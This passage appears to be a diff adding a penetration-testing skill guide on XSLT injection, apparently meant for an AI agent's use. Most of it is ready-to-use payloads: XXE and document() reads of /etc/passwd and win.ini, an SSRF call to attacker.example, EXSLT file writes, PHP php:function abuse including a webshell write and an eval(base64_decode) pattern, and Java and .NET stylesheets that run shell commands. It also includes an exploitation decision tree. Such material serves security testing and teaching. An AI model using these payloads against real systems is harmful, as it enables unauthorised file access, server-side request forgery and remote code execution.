## 2. EXTERNAL ENTITY (XXE VIA XSLT)
|
|
61
|
+
|
|
62
|
+
XSLT 1.0 allows **DTD-based entities** in the stylesheet or source when the parser permits DTDs:
|
|
63
|
+
|
|
64
|
+
```xml
|
|
65
|
+
<!DOCTYPE xsl:stylesheet [
|
|
66
|
+
<!ENTITY ext_file SYSTEM "file:///etc/passwd">
|
|
67
|
+
]>
|
|
68
|
+
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
|
69
|
+
<xsl:output method="text"/>
|
|
70
|
+
<xsl:template match="/">
|
|
71
|
+
<xsl:value-of select="'ENTITY_START'"/>
|
|
72
|
+
<xsl:value-of select="&ext_file;"/>
|
|
73
|
+
<xsl:value-of select="'ENTITY_END'"/>
|
|
74
|
+
</xsl:template>
|
|
75
|
+
</xsl:stylesheet>
|
|
76
|
+
```
|
|
77
|
+
|
|
78
|
+
**Note**: Hardened parsers disable external DTDs — failure here does not disprove other XSLT vectors (see §3).
|
|
79
|
+
|
|
80
|
+
---
|
|
81
|
+
|
|
82
|
+
## 3. FILE READ VIA `document()`
|
|
83
|
+
|
|
84
|
+
`document()` loads another XML document into a node-set; local files often parse as XML (noisy) but **errors and partial reads** may still leak.
|
|
85
|
+
|
|
86
|
+
**Unix example**:
|
|
87
|
+
|
|
88
|
+
```xml
|
|
89
|
+
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
|
90
|
+
<xsl:output method="text"/>
|
|
91
|
+
<xsl:template match="/">
|
|
92
|
+
<xsl:copy-of select="document('/etc/passwd')"/>
|
|
93
|
+
</xsl:template>
|
|
94
|
+
</xsl:stylesheet>
|
|
95
|
+
```
|
|
96
|
+
|
|
97
|
+
**Windows example**:
|
|
98
|
+
|
|
99
|
+
```xml
|
|
100
|
+
<xsl:copy-of select="document('file:///c:/windows/win.ini')"/>
|
|
101
|
+
```
|
|
102
|
+
|
|
103
|
+
**SSRF / out-of-band**:
|
|
104
|
+
|
|
105
|
+
```xml
|
|
106
|
+
<xsl:copy-of select="document('http://attacker.example/ssrf')"/>
|
|
107
|
+
```
|
|
108
|
+
|
|
109
|
+
Chain with **error-based** or **timing** observations if inline data does not return to the client.
|
|
110
|
+
|
|
111
|
+
---
|
|
112
|
+
|
|
113
|
+
## 4. FILE WRITE VIA EXSLT (`exslt:document`)
|
|
114
|
+
|
|
115
|
+
When **EXSLT common** extension is enabled:
|
|
116
|
+
|
|
117
|
+
```xml
|
|
118
|
+
<xsl:stylesheet version="1.0"
|
|
119
|
+
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
|
|
120
|
+
xmlns:exploit="http://exslt.org/common"
|
|
121
|
+
extension-element-prefixes="exploit">
|
|
122
|
+
<xsl:template match="/">
|
|
123
|
+
<exploit:document href="/tmp/evil.txt" method="text">
|
|
124
|
+
<xsl:text>PROOF_CONTENT</xsl:text>
|
|
125
|
+
</exploit:document>
|
|
126
|
+
</xsl:template>
|
|
127
|
+
</xsl:stylesheet>
|
|
128
|
+
```
|
|
129
|
+
|
|
130
|
+
**Impact**: arbitrary file write where path permissions allow — often **RCE** via webroot, cron paths, or inclusion points.
|
|
131
|
+
|
|
132
|
+
---
|
|
133
|
+
|
|
134
|
+
## 5. RCE VIA PHP (`php:function`)
|
|
135
|
+
|
|
136
|
+
Requires PHP XSLT with **`registerPHPFunctions()`**-style exposure (application misconfiguration). Namespace:
|
|
137
|
+
|
|
138
|
+
```xml
|
|
139
|
+
<xsl:stylesheet version="1.0"
|
|
140
|
+
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
|
|
141
|
+
xmlns:php="http://php.net/xsl">
|
|
142
|
+
<xsl:output method="text"/>
|
|
143
|
+
<xsl:template match="/">
|
|
144
|
+
<xsl:value-of select="php:function('readfile','index.php')"/>
|
|
145
|
+
</xsl:template>
|
|
146
|
+
</xsl:stylesheet>
|
|
147
|
+
```
|
|
148
|
+
|
|
149
|
+
**Directory listing**:
|
|
150
|
+
|
|
151
|
+
```xml
|
|
152
|
+
<xsl:value-of select="php:function('scandir','.')"/>
|
|
153
|
+
```
|
|
154
|
+
|
|
155
|
+
**Dangerous patterns** (historical abuses — verify only in lab):
|
|
156
|
+
|
|
157
|
+
- `php:function('assert', string($payload))` — environment-dependent, often deprecated/removed; chained with `include`/`require` in old apps.
|
|
158
|
+
- `php:function('file_put_contents','/var/www/shell.php','<?php ...')` — **webshell write** when callable is whitelisted recklessly.
|
|
159
|
+
- `preg_replace` with **`/e`** modifier (legacy PHP) — the replacement string is **evaluated as PHP**; metasploit-style chains often wrapped **base64_decode** of a blob to smuggle a **meterpreter** (or other) staged payload. Removed in PHP 7+; only relevant for ancient runtimes.
|
|
160
|
+
|
|
161
|
+
**Legacy PHP equivalent** (illustrates the `/e` + base64 pattern — lab only):
|
|
162
|
+
|
|
163
|
+
```php
|
|
164
|
+
preg_replace('/.*/e', 'eval(base64_decode("BASE64_PHP_HERE"));', '', 1);
|
|
165
|
+
```
|
|
166
|
+
|
|
167
|
+
Surface from XSLT only if `php:function` exposes `preg_replace` to user stylesheets (rare + critical misconfiguration).
|
|
168
|
+
|
|
169
|
+
**Tester note**: modern PHP hardening often **blocks** these; absence of RCE does not remove **document()** / **XXE**.
|
|
170
|
+
|
|
171
|
+
---
|
|
172
|
+
|
|
173
|
+
## 6. RCE VIA JAVA (SAXON / XALAN EXTENSIONS)
|
|
174
|
+
|
|
175
|
+
Java engines may expose **extension functions** mapping to static methods. Examples appear in historical advisories; exact syntax depends on **version and extension binding**.
|
|
176
|
+
|
|
177
|
+
**Illustrative pattern** (conceptual — adjust to permitted extension namespace and API):
|
|
178
|
+
|
|
179
|
+
```xml
|
|
180
|
+
<xsl:stylesheet version="1.0"
|
|
181
|
+
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
|
|
182
|
+
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
|
|
183
|
+
<xsl:template match="/">
|
|
184
|
+
<xsl:variable name="rtobject" select="rt:getRuntime()"/>
|
|
185
|
+
<xsl:value-of select="rt:exec($rtobject,'/bin/sh -c id')"/>
|
|
186
|
+
</xsl:template>
|
|
187
|
+
</xsl:stylesheet>
|
|
188
|
+
```
|
|
189
|
+
|
|
190
|
+
**Saxon-style static Java integration** (highly configuration-dependent):
|
|
191
|
+
|
|
192
|
+
```text
|
|
193
|
+
Runtime:exec(Runtime:getRuntime(), 'cmd.exe /C ping 192.0.2.1')
|
|
194
|
+
```
|
|
195
|
+
|
|
196
|
+
Replace `192.0.2.1` with your lab listener / documentation IP (RFC 5737 TEST-NET).
|
|
197
|
+
|
|
198
|
+
**Operational guidance**: if extensions are disabled (common secure default), pivot to **document()**, SSRF, or **deserialization** elsewhere — not every XSLT endpoint runs with extensions on.
|
|
199
|
+
|
|
200
|
+
---
|
|
201
|
+
|
|
202
|
+
## 7. RCE VIA .NET (`msxsl:script`)
|
|
203
|
+
|
|
204
|
+
When Microsoft XSLT **script blocks** are allowed:
|
|
205
|
+
|
|
206
|
+
```xml
|
|
207
|
+
<xsl:stylesheet version="1.0"
|
|
208
|
+
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
|
|
209
|
+
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
|
|
210
|
+
extension-element-prefixes="msxsl">
|
|
211
|
+
<msxsl:script language="C#" implements-prefix="user">
|
|
212
|
+
<![CDATA[
|
|
213
|
+
public string xexec() {
|
|
214
|
+
System.Diagnostics.Process.Start("cmd.exe", "/c whoami");
|
|
215
|
+
return "ok";
|
|
216
|
+
}
|
|
217
|
+
]]>
|
|
218
|
+
</msxsl:script>
|
|
219
|
+
<xsl:template match="/">
|
|
220
|
+
<xsl:value-of select="user:xexec()"/>
|
|
221
|
+
</xsl:template>
|
|
222
|
+
</xsl:stylesheet>
|
|
223
|
+
```
|
|
224
|
+
|
|
225
|
+
**Default secure configs** often disable scripts — treat this as **when enabled** behavior.
|
|
226
|
+
|
|
227
|
+
---
|
|
228
|
+
|
|
229
|
+
## 8. DECISION TREE
|
|
230
|
+
|
|
231
|
+
```text
|
|
232
|
+
User influences XSLT or XML transform?
|
|
233
|
+
|
|
|
234
|
+
NO --> stop (out of scope)
|
|
235
|
+
|
|
|
236
|
+
YES
|
|
237
|
+
|
|
|
238
|
+
+---------------+---------------+
|
|
239
|
+
| |
|
|
240
|
+
output reflects no reflection
|
|
241
|
+
injected logic? try blind channels
|
|
242
|
+
| |
|
|
243
|
+
v v
|
|
244
|
+
system-property() errors, OOB, timing
|
|
245
|
+
fingerprint vendor |
|
|
246
|
+
| |
|
|
247
|
+
+-----------+-----------+ |
|
|
248
|
+
| | | |
|
|
249
|
+
libxslt Java .NET document()
|
|
250
|
+
| | | |
|
|
251
|
+
document() Saxon/Xalan msxsl:script? SSRF/file
|
|
252
|
+
EXSLT write extensions? | |
|
|
253
|
+
| | C# Process EXSLT?
|
|
254
|
+
v v v v
|
|
255
|
+
file R/W rt/exec cmd.exe /c map evidence
|
|
256
|
+
```
|
|
257
|
+
|
|
258
|
+
---
|
|
259
|
+
|
|
260
|
+
## Payloads All The Things (PAT) Note
|
|
261
|
+
|
|
262
|
+
The **PayloadsAllTheThings** project documents many injection classes; for **XSLT**, maintainer notes indicate **no dedicated maintained tool** section comparable to SQLi/XSS toolchains — exploitation is **processor- and configuration-specific**, driven by proxy/manual payloads and custom scripts. Plan time for **local lab reproduction** with the same engine/version as the target when possible.
|
|
263
|
+
|
|
264
|
+
---
|
|
265
|
+
|
|
266
|
+
## Tooling (practical)
|
|
267
|
+
|
|
268
|
+
| Category | Examples |
|
|
269
|
+
|----------|----------|
|
|
270
|
+
| Proxy / manual | Burp Suite, OWASP ZAP — replay stylesheet payloads, observe responses and errors |
|
|
271
|
+
| XML/XSLT lab | Match **exact** processor (PHP libxslt, Java Saxon version, .NET framework) in a VM |
|
|
272
|
+
| Out-of-band | Collaborator / private callback server for `document('http://…')` |
|
|
273
|
+
|
|
274
|
+
No single universal scanner replaces **version-specific** behavior validation.
|
|
275
|
+
|
|
276
|
+
---
|
|
277
|
+
|
|
278
|
+
## Related
|
|
279
|
+
|
|
280
|
+
- **xxe-xml-external-entity** — DTD/entity hardening, generic XML parsers (`../xxe-xml-external-entity/SKILL.md`).
|
|
281
|
+
- **ssrf-server-side-request-forgery** — when `document(http:…)` or entity URLs cause server fetches (`../ssrf-server-side-request-forgery/SKILL.md`).
|